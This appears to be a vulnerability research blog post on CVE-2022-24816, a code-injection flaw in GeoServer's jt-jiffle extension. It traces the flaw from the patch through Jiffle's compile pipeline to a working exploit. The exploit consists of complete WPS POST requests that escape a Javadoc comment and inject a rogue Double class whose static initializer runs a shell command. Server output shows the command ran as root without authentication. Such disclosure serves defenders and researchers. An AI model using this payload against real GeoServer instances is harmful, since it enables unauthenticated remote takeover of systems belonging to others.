Exploiting CVE-2022-24816: A code injection in the jt-jiffle extension of GeoServer
About GeoServer and jt-jiffle
GeoServer is an open source server for sharing geospatial data. The server implements industry standard OGC protocols such as Web Feature Service (WFS), Web Map Service (WMS), and Web Coverage Service (WCS). GeoServer comes with the JAI-EXT API [1]. This API is enabled by default and provides a set of high level objects for image processing.
The JAI-EXT project contains a map algebra language called Jiffle. Jiffle is a simple scripting language to work with raster images. Its main aim is to let you get more done with less code.
For example, the following Jiffle script allows to generate a set of concentric sinusoidal waves emanating from the image center:
init {
// image centre coordinates
xc = width() / 2;
yc = height() / 2;
// constant term
C = M_PI * 8;
}
dx = (x() - xc) / xc;
dy = (y() - yc) / yc;
d = sqrt(dx*dx + dy*dy);
destImg = sin(C * d);
How Jiffle works under the hood
According to the JAI-EXT Jiffle documentation "Jiffle scripts are turned on the fly into Java code which is then byte-code compiled into executable Java code."
The process to execute a Jiffle script looks as follows:
- Compile the script into a run-time object
- Provide the run-time object with source and destination images and possibly coordinate information
- Execute the object
- Retrieve the results
The step that is crucial to understand
divided into four subtasks.Subtask 1: Generate an antlr ParseTree from the Jiffle script
When executing a Jiffle script, it is first converted to an org.antlr.v4.runtime.tree.ParseTree
using a JiffleLexer
and a JiffleParser
. This is done in the parseScript
method of the Jiffle
class:
private static Jiffle.Result<ParseTree> parseScript(String script) {
CharStream input = CharStreams.fromString(script);
JiffleLexer lexer = new JiffleLexer(input);
TokenStream tokens = new CommonTokenStream(lexer);
JiffleParser parser = new JiffleParser(tokens);
parser.removeErrorListeners();
JiffleParserErrorListener errListener = new JiffleParserErrorListener();
parser.addErrorListener(errListener);
ParseTree tree = parser.script();
return new Jiffle.Result(tree, errListener.messages);
}
Subtask 2: Create a runtime model from the ParseTree
Next, the it.geosolutions.jaiext.jiffle.parser.RuntimeModelWorker
is used to walk the resulting tree and generate an it.geosolutions.jaiext.jiffle.parser.node.Script
object scriptModel
. The relevant code can be found in the compile
method of the Jiffle
class:
public final void compile() throws it.geosolutions.jaiext.jiffle.JiffleException {
[...]
Jiffle.Result<ParseTree> parseResult = parseScript(theScript);
[...]
ParseTree tree = parseResult.result;
[...]
RuntimeModelWorker worker = new RuntimeModelWorker(tree, optionsWorker.options, expressionWorker.getProperties(), expressionWorker.getScopes());
this.scriptModel = worker.getScriptNode();
this.destinationBands = worker.getDestinationBands();
}
Subtask 3: Convert the runtime model to Java source code
The scriptModel
object is then converted to Java source code by calling the Script.write()
method. This call is made in the createRuntimeSource
method of the Jiffle
class.
private String createRuntimeSource(RuntimeModel model, String baseClassName,
boolean scriptInDocs) {
SourceWriter writer = new SourceWriter(model);
if (scriptInDocs) {
writer.setScript(theScript);
}
writer.setBaseClassName(baseClassName);
scriptModel.write(writer);
return writer.getSource();
}
Subtask 4: Compile the Java source code to Java byte-code
Finally, the source code is compiled to Java byte-code using a org.codehaus.janino.SimpleCompiler
.
private JiffleRuntime createRuntimeInstance(RuntimeModel model, Class<? extends JiffleRuntime> runtimeClass, boolean scriptInDocs) throws
it.geosolutions.jaiext.jiffle.JiffleException {
[...]
String runtimeSource = createRuntimeSource(model, runtimeClass.getName(), scriptInDocs);
[...]
try {
SimpleCompiler compiler = new SimpleCompiler();
compiler.cook(runtimeSource);
[...]
}
}
About CVE-2022-24816
According to the NIST National Vulnerability Database [NVD], "programs allowing Jiffle script to be provided via network request can lead to a Remote Code Execution as the Jiffle script is compiled into Java code via Janino, and executed." [JANINO]. This vulnerability is given a CVSS score of 9.8. This vulnerability affects all version of JAI-EXT prior to 1.1.22.
As always, analyzing the patch for the vulnerability is of great value to identify an exploitation path. By navigating through the JAI-EXT commits we quickly identified the commit cb1d6565d38954676b0a366da4f965fef38da1cb "Validate Jiffle input variable names according to grammar, escape Javadocs when including Jiffle sources in output".
By looking at the patch [JAI-EXT-PATCH], one can quickly identify that Javadoc comment escaping has been added to the it.geosolutions.jaiext.jiffle.parser.node.Script
write
method. As we've seen above, this method is used by Jiffle to convert the scriptModel
to Java source code.
Triggering the vulnerability
In order to set up a playground to try and trigger the code execution, we run GeoServer in a Docker container:
$ docker run -p 8085:8080 kartoza/geoserver:2.17.2
On a default installation Jiffle scripts can be run by non-authenticated users. One way to do so is to first generate a proper WPS XML request using the WPS builder demo webpage:
The generated request can then be sent to the /geoserver/wms endpoint using a POST request. This endpoint runs the OGC Web Map Service which is also accessible without authentication.
After a few tests playing with comments, we triggered a verbose error that sounds promising using the following payload:
POST /geoserver/wms HTTP/1.1
Host: localhost:8085
[...]
<?xml version="1.0" encoding="UTF-8"?><wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc" xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink" xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
<ows:Identifier>ras:Jiffle</ows:Identifier>
<wps:DataInputs>
<wps:Input>
<ows:Identifier>coverage</ows:Identifier>
<wps:Data>
<wps:ComplexData mimeType="application/arcgrid">
<![CDATA[ncols 720 nrows 360 xllcorner -180 yllcorner -90 cellsize 0.5 NODATA_value -9999 316 ]]>
</wps:ComplexData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>dest = 1; */ </wps:LiteralData>
</wps:Data>
</wps:Input>
<wps:Input>
<ows:Identifier>outputType</ows:Identifier>
<wps:Data>
<wps:LiteralData>DOUBLE</wps:LiteralData>
</wps:Data>
</wps:Input>
</wps:DataInputs>
<wps:ResponseForm>
<wps:RawDataOutput mimeType="image/tiff">
<ows:Identifier>result</ows:Identifier>
</wps:RawDataOutput>
</wps:ResponseForm>
</wps:Execute>
This payload results in a verbose javax.media.jai.util.ImagingException
:
HTTP/1.1 200
[...]
<?xml version="1.0" encoding="UTF-8"?><wps:ExecuteResponse xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:ows="http://www.opengis.net/ows/1.1" xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:xlink="http://www.w3.org/1999/xlink" xml:lang="en" service="WPS" serviceInstance="http://localhost:8085/geoserver/ows?" version="1.0.0"><wps:Process wps:processVersion="1.0.0"><ows:Identifier>ras:Jiffle</ows:Identifier><ows:Title>Jiffle map algebra</ows:Title><ows:Abstract>Map algebra powered by Jiffle</ows:Abstract></wps:Process><wps:Status creationTime="2022-08-11T12:36:24.457Z"><wps:ProcessFailed><ows:ExceptionReport version="1.1.0"><ows:Exception exceptionCode="NoApplicableCode"><ows:ExceptionText>Process failed during execution
javax.media.jai.util.ImagingException: All factories fail for the operation &quot;Jiffle&quot;
All factories fail for the operation &quot;Jiffle&quot;it.geosolutions.jaiext.jiffle.JiffleException: Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
import java.util.List;
import java.util.ArrayList;
import java.util.Arrays;
/**
* Java runtime class generated from the following Jiffle script:
*&lt;code&gt;
* dest = 1; */
*&lt;/code&gt;
*/
public class JiffleIndirectRuntimeImpl extends it.geosolutions.jaiext.jiffle.runtime.AbstractIndirectRuntime {
SourceImage s_src;
public JiffleIndirectRuntimeImpl() {
super(new String[] {});
}
protected void initImageScopeVars() {
s_src = (SourceImage) _images.get(&quot;src&quot;);
_imageScopeVarsInitialized = true;
}
public double evaluate(double _x, double _y) {
if (!isWorldSet()) {
setDefaultBounds();
}
if (!_imageScopeVarsInitialized) {
initImageScopeVars();
}
_stk.clear();
double result = Double.NaN;
result = 1;
return result;
}
}
Runtime source error for source: package it.geosolutions.jaiext.jiffle.runtime;
[...]
Line 11, Column 3: One of &apos;class enum interface @&apos; expected instead of &apos;*&apos;
As we can see from the error above, Jiffle integrates the comments when generating the final java source code without properly escaping them. Hence, the Janino compiler fails to convert the source code to byte-code since it meets an uncommented line starting with a * while it expects keywords such as class, enum or interface.
In order to inject Java code in the file we will also need to fix the remaining comments by adding the string /*. Our payloads will look like this:
<wps:LiteralData>dest = 1; */ INJECTED JAVA CODE /*</wps:LiteralData>
At this point of the process we are able to translate any Java class to byte-code, however, we do not control the execution flow since:
- We do not control an object that will be instantiated.
- We do not control a class that will be loaded in memory: the classes that we create are not directly loaded into memory, they are rather lazy-loaded by the class loader at runtime [JVM-CLASS-LOADER].
From class injection to code execution
Our first idea to obtain code execution from there was to rewrite the JiffleIndirectRuntimeImpl
class with the following payload:
<wps:LiteralData>dest = 1; // */ class JiffleIndirectRuntimeImpl{ } /*</wps:LiteralData>
Unfortunately, this does not work since the code scheduled to be compiled by Janino already contains this class:
HTTP/1.1 200
[...]
Process failed during execution
Line 13, Column 13: Redeclaration of type &quot;JiffleIndirectRuntimeImpl&quot;, previously declared in Line 10, Column 25
After digging a little more in the Java code generated by Jiffle we found out that it was possible to override the Double class that is used when initializing the result variable at the end of the program.
double result = Double.NaN;
According to the Java documentation:
A class or interface type T will be initialized immediately before the first occurrence of any one of the following: [...] A static field declared by T is assigned. [JAVA-CLASS-INITIALIZATION]
Hence, by overriding the Double class we make sure we control a class that will be loaded in memory : the class will be loaded when the Double.NaN static property will be accessed.
Now that we know how to control a class that will be loaded in memory, the last trick is to add a static block of code to it. Indeed, since static blocks of code are executed when a class is loaded in memory [JAVA-STATIC-INITIALIZER], accessing the static attribute NaN of our rogue Double class will trigger the execution of the static block of code. The rogue Double class that we used as a Proof-of-Concept looks as follows:
public class Double {
public static double NaN;
static {
throw new RuntimeException(": We control the execution flow :)");
}
}
Exploiting CVE-2022-24816 to get remote code execution
Executing a command is now straight forward. We used the following Double class to trigger the execution of the id command:
public class Double {
public static double NaN = 0;
static {
try {
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
String line = null;
String allLines = " - ";
while ((line = reader.readLine()) != null) {
allLines += line;
} throw new RuntimeException(allLines);
} catch (java.io.IOException e) {}
}
}
Combining this with the initial payload to escape Java comments results in the following request:
POST /geoserver/wms HTTP/1.1
[...]
<wps:Input>
<ows:Identifier>script</ows:Identifier>
<wps:Data>
<wps:LiteralData>
dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream())); String line = null; String allLines = " - "; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**
</wps:LiteralData>
</wps:Data>
</wps:Input>
The execution of the above request results in a java.lang.ExceptionInInitializerError
exception which contains the output of the executed command:
HTTP/1.1 200
[...]
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>i
Process failed during execution
java.lang.ExceptionInInitializerError - uid=0(root) gid=0(root) groups=0(root)
</ows:ExceptionText>
[...]
References
[NVD] https://nvd.nist.gov/vuln/detail/CVE-2022-24816
[JANINO] https://janino-compiler.github.io/janino/
[JAI-EXT-PATCH] https://github.com/geosolutions-it/jai-ext/commit/cb1d6565d38954676b0a3…
[JVM-CLASS-LOADER] https://blogs.oracle.com/javamagazine/post/how-the-jvm-locates-loads-an…
[JAVA-CLASS-INITIALIZATION] https://docs.oracle.com/javase/specs/jls/se7/html/jls-12.html#jls-12.4.2
[JAVA-STATIC-INITIALIZER] https://docs.oracle.com/javase/specs/jls/se7/html/jls-8.html#jls-8.7